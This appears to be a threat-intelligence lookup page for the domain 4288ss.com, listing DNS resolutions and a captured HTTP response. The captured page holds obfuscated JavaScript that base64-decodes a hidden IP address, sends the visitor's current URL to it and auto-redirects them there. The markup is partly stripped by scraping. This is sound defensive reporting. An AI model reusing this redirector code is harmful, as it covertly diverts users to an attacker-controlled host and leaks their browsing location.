Domain > 4288ss.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2019-07-08	162.209.133.14 (ClassC)
2019-07-13	23.224.114.184 (ClassC)
2019-07-24	162.209.133.25 (ClassC)
2019-07-25	162.209.133.9 (ClassC)
2019-08-01	23.224.114.13 (ClassC)
2019-08-03	23.224.114.188 (ClassC)
2019-08-07	162.209.133.79 (ClassC)
2019-08-07	162.209.133.143 (ClassC)
2019-08-12	23.224.114.48 (ClassC)
2019-08-13	23.224.114.21 (ClassC)
2019-08-17	23.224.114.230 (ClassC)
2019-08-17	23.224.114.220 (ClassC)
2019-08-21	23.224.114.161 (ClassC)
2019-09-28	162.209.221.7 (ClassC)
2019-10-13	154.202.48.159 (ClassC)
2021-04-06	172.121.29.48 (ClassC)
2021-04-07	172.121.29.64 (ClassC)
2021-04-07	172.121.29.45 (ClassC)
2021-05-02	172.121.29.76 (ClassC)
2026-01-24	192.151.224.173 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html;charsetutf-8Cache-Control: max-age86400Content-Length: 1019Connection: close

!DOCTYPE html>html langen>head>    meta charsetUTF-8>    meta http-equivX-UA-Compatible contentIEedge>    meta nameviewport contentwidthdevice-width,initial-scale1>    title>Loading/title>/head>body>    div classspinner>        div classbounce1>/div>        div classbounce2>/div>        div classbounce3>/div>    /div>a href idlyZvGDIz>/a>    script        typetext/javascript>        var strU  window.atob(aHR0cDovLzIzLjIyNS42Ny44MzozMzU1) + /?r + window.btoa(window.location.href);        lyZvGDIz.href  strU;         if (document.all) {             console.log(click jump, strU)            document.getElementById(lyZvGDIz).click();                     } else {             var e  document.createEvent(MouseEvents);             console.log(MouseEvents jump, strU)            e.initEvent(click, !0, !0), document.getElementById(lyZvGDIz).dispatchEvent(e);                     }    /script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 4288ss.com

Is this malicious?

DNS Resolutions

Port 80